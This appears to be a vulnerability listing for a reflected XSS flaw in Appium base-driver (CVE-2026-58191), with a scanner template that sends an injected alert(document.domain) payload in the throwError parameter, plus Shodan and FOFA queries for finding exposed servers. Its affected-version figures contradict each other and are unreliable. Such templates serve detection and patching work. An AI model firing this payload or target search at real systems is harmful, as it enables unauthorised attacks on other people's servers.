CVE-2026-58191: Appium base-driver <=10.6.0 - Reflected Cross-Site Scripting

2026-09-16 Unknown PoC Public

Description

Appium <= 10.7.0 contains a reflected XSS caused by unescaped reflection of throwError query parameter, comments POST field, and User-Agent header in base-driver routes, letting remote attackers execute arbitrary JavaScript, exploit requires crafted HTTP requests.

PoC

id: CVE-2026-58191

info:
  name: Appium base-driver <=10.6.0 - Reflected Cross-Site Scripting
  author: str4k3r
  severity: medium
  description: |
    Appium <= 10.7.0 contains a reflected XSS caused by unescaped reflection of throwError query parameter, comments POST field, and User-Agent header in base-driver routes, letting remote attackers execute arbitrary JavaScript, exploit requires crafted HTTP requests.
  impact: |
    Remote attackers can execute arbitrary JavaScript on the server origin, potentially leading to session hijacking or further attacks.
  remediation: |
    Update to version 10.7.0 or later.
  reference:
    - https://github.com/appium/appium/security/advisories/GHSA-3wgp-x9p5-c7cc
    - https://github.com/appium/appium/commit/d94a40af9f8040191ee7888571a1c9d5aec59f89
    - https://github.com/appium/appium/releases/tag/@appium/base-driver@10.7.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-58191
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-58191
    epss-score: 0.00441
    epss-percentile: 0.37496
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: appium
    product: appium
    shodan-query: 'http.favicon.hash:-144749386'
    fofa-query: 'icon_hash="-144749386"'
  tags: cve,cve2026,appium,xss,base-driver,node

http:
  - raw:
      - |
        GET /test/guinea-pig?throwError=%27%2balert(document.domain)%2b%27 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "alert(document.domain)")'
          - 'contains_all(body, "This page is a Selenium sandbox", "Appium")'
        condition: and
# digest: 4a0a004730450220174f31ff514fbde643e7a01b878836f30664eea3b1887d9b2b808b5eebfac5df022100fbbcaba5e07f0b86e3e9ebf945521d2f69b9085afe55b9f3978d83a74734b6e6:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.